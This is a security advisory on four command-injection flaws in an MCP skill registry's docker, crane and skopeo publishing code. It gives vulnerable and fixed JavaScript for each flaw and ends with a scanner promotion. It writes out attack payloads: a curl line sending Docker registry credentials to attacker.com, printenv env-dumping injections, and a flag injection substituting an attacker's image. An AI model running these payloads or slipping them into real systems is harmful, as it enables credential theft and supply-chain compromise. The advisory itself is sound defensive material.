Claude MCP skill code injection — skill container image build and OCI artifact publishing endpoints (SA-SKL-INJECTION62)
SA-SKL-INJECTION62 identifies four code injection vulnerabilities in MCP skill registry skill container image build and OCI artifact publishing endpoints. Shell metacharacter injection in Docker image names exfiltrates Docker registry credentials that enable unauthorized push access to production image registries; space injection in Docker registry host parameters loads attacker-controlled Docker configuration files overriding registry credentials; shell injection in crane push tar path parameters exfiltrates all process environment variables including cloud provider credentials and registry tokens; and argument injection in skopeo copy destination credentials enables supply-chain attacks by substituting an attacker-controlled source image for the legitimate skill artifact during the copy operation.
exec(`docker build -t ${imageName} ${buildContext}`) — attacker imageName with ; cat /root/.docker/config.json exfiltrates Docker registry credentials enabling push to production image registryexec(`docker push ${registryHost}/${imageName}:${tag}`) — attacker registryHost with space-injected --config /attacker/config.json reads attacker-controlled Docker config with registry credentialsexec(`crane push ${tarPath} ${imageRef}`) — attacker tarPath with ; printenv exfiltrates all env vars including CRANE_REGISTRY_TOKEN and cloud provider credentialsexec(`skopeo copy --dest-creds ${destCreds} docker://${srcImage} docker://${destImage}`) — attacker destCreds with space-injected --src-creds= substitutes attacker-controlled source image enabling supply-chain attackINJECTION62-001 — docker build shell injection exfiltrates Docker registry credentials
When building container images for skill artifacts, the registry constructs a shell command string by interpolating user-supplied values into a child_process.exec() call. The image name supplied by the skill owner is interpolated directly without escaping or validation. An attacker who submits a crafted image name containing ; (command separator) or $() (command substitution) causes the shell to execute an additional command after the docker build command. The most immediately exploitable payload reads /root/.docker/config.json, which contains base64-encoded registry authentication credentials for all configured Docker registries. These credentials enable the attacker to push malicious images to production registries under the legitimate skill maintainer's identity.
// INJECTION62-001 — VULNERABLE
const { exec } = require('child_process');
async function buildSkillImage(imageName, buildContext) {
return new Promise((resolve, reject) => {
// VULNERABLE: imageName interpolated directly into shell command string
exec(`docker build -t ${imageName} ${buildContext}`, (err, stdout, stderr) => {
if (err) reject(err);
else resolve({ stdout, stderr });
});
});
}
Attack payload — INJECTION62-001: Attacker submits image name evil ; cat /root/.docker/config.json | base64 | curl -d @- https://attacker.com/creds ;. The shell executes the injection, exfiltrating Docker registry credentials to the attacker's endpoint.
// INJECTION62-001 — ATTACK PAYLOAD // imageName submitted by attacker: const maliciousImageName = 'evil ; cat /root/.docker/config.json | base64 | curl -d @- https://attacker.com/creds ;'; // resulting shell command: // docker build -t evil ; cat /root/.docker/config.json | base64 | curl -d @- https://attacker.com/creds ; /path/to/context
// INJECTION62-001 — FIXED
const { execFile } = require('child_process');
const { z } = require('zod');
// FIXED: image name validated against strict allowlist pattern
const ImageNameSchema = z.string()
.regex(/^[a-z0-9][a-z0-9._\-/]{0,127}$/, 'Invalid image name format');
async function buildSkillImage(imageName, buildContext) {
// FIXED: validate before execFile; throw on invalid name
ImageNameSchema.parse(imageName);
// FIXED: execFile with arg array — no shell interpolation, no injection possible
return new Promise((resolve, reject) => {
execFile('docker', ['build', '-t', imageName, buildContext], (err, stdout, stderr) => {
if (err) reject(err);
else resolve({ stdout, stderr });
});
});
}
INJECTION62-002 — docker push space injection loads attacker-controlled Docker config
The Docker push endpoint constructs the push command by interpolating the registry hostname supplied by the skill owner. The Docker CLI parses its own arguments from the shell command string, and a space within the registry hostname is interpreted as an argument separator by the shell. An attacker who supplies registry.example.com --config /tmp/attacker-docker-config.json as the registry hostname causes the Docker CLI to load attacker-controlled credentials from the specified path rather than the legitimate /root/.docker/config.json. If the attacker has previously written a crafted config file to /tmp (via any other write primitive), the push operation uses attacker-controlled registry credentials.
// INJECTION62-002 — VULNERABLE
async function pushSkillImage(registryHost, imageName, tag) {
return new Promise((resolve, reject) => {
// VULNERABLE: registryHost space injection allows --config flag injection
exec(`docker push ${registryHost}/${imageName}:${tag}`, (err, stdout, stderr) => {
if (err) reject(err);
else resolve({ stdout, stderr });
});
});
}
// INJECTION62-002 — FIXED
const ALLOWED_REGISTRIES = new Set([
'registry.example.com',
'ghcr.io',
'docker.io',
]);
async function pushSkillImage(registryHost, imageName, tag) {
// FIXED: registryHost validated against allowlist — no arbitrary input
if (!ALLOWED_REGISTRIES.has(registryHost)) {
throw new Error(`Registry host not in allowlist: ${registryHost}`);
}
ImageNameSchema.parse(imageName);
const imageRef = `${registryHost}/${imageName}:${tag}`;
return new Promise((resolve, reject) => {
// FIXED: execFile with arg array — no shell, no space injection possible
execFile('docker', ['push', imageRef], (err, stdout, stderr) => {
if (err) reject(err);
else resolve({ stdout, stderr });
});
});
}
INJECTION62-003 — crane push shell injection exfiltrates env vars with cloud credentials
The crane push command is used to push OCI artifact tarballs to registries. The tar file path is interpolated directly from user input into a shell command string. An attacker who supplies a tar path containing ; printenv | base64 causes the shell to execute the environment variable dump as a side effect of the push command. The build worker process environment typically contains CRANE_REGISTRY_TOKEN, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, and other cloud provider credentials that grant access to the production infrastructure the registry operates on.
// INJECTION62-003 — VULNERABLE
async function cranePushArtifact(tarPath, imageRef) {
return new Promise((resolve, reject) => {
// VULNERABLE: tarPath interpolated into shell string; ; printenv exfiltrates env
exec(`crane push ${tarPath} ${imageRef}`, (err, stdout, stderr) => {
if (err) reject(err);
else resolve({ stdout, stderr });
});
});
}
// INJECTION62-003 — FIXED
const path = require('path');
const WORKSPACE_ROOT = process.env.BUILD_WORKSPACE_ROOT || '/srv/build/workspace';
async function cranePushArtifact(tarPath, imageRef) {
// FIXED: tarPath resolved to workspace-rooted absolute path; realpathSync containment
const resolvedTar = path.resolve(WORKSPACE_ROOT, tarPath);
if (!resolvedTar.startsWith(WORKSPACE_ROOT + path.sep)) {
throw new Error('tarPath traversal outside workspace root');
}
// FIXED: execFile with arg array and stripped environment
return new Promise((resolve, reject) => {
execFile('crane', ['push', resolvedTar, imageRef], {
env: { PATH: process.env.PATH, HOME: process.env.HOME },
}, (err, stdout, stderr) => {
if (err) reject(err);
else resolve({ stdout, stderr });
});
});
}
INJECTION62-004 — skopeo copy argument injection enables supply-chain image substitution
The skopeo copy command is used to copy OCI images between registries during the skill publishing workflow. The destination credentials string is interpolated into the shell command. Because skopeo parses --src-creds and other flags from the command line, a space-injected --src-creds=attacker:token docker://attacker-registry.com/malicious-image in the destination credentials position causes skopeo to: ignore the legitimate destination credentials, use the injected attacker credentials as source credentials, and copy from the attacker's malicious image rather than the legitimate source. The result is a supply-chain attack where the registry publishes an attacker-controlled image under the skill maintainer's identity.
// INJECTION62-004 — VULNERABLE
async function skopeoPublishImage(srcImage, destImage, destCreds) {
return new Promise((resolve, reject) => {
// VULNERABLE: destCreds space injection overrides src/dest image references
exec(
`skopeo copy --dest-creds ${destCreds} docker://${srcImage} docker://${destImage}`,
(err, stdout, stderr) => {
if (err) reject(err);
else resolve({ stdout, stderr });
}
);
});
}
Attack payload — INJECTION62-004: Attacker supplies destCreds value of user:pass --src-creds=attacker:attacker-token docker://attacker.com/malicious-skill. skopeo copies the attacker's malicious image to the destination registry instead of the legitimate skill artifact.
// INJECTION62-004 — FIXED
const CREDS_RE = /^[a-zA-Z0-9._\-]+:[a-zA-Z0-9._\-+/=]+$/; // user:pass format only
async function skopeoPublishImage(srcImage, destImage, destCreds) {
// FIXED: validate destCreds format strictly — no spaces or flag injection possible
if (!CREDS_RE.test(destCreds)) {
throw new Error('Invalid destination credentials format');
}
// FIXED: srcImage and destImage sourced from server-side build record, not user input
// FIXED: execFile with arg array — no shell parsing, no injection possible
return new Promise((resolve, reject) => {
execFile(
'skopeo',
['copy', `--dest-creds=${destCreds}`, `docker://${srcImage}`, `docker://${destImage}`],
(err, stdout, stderr) => {
if (err) reject(err);
else resolve({ stdout, stderr });
}
);
});
}
SkillAudit detection: Run SkillAudit on your MCP skill registry to automatically detect INJECTION62-class patterns. The scanner flags child_process.exec() calls with interpolated user-supplied variables, missing execFile() conversion, absent argument array patterns, and missing workspace containment via realpathSync — producing a graded report with file locations and remediation guidance.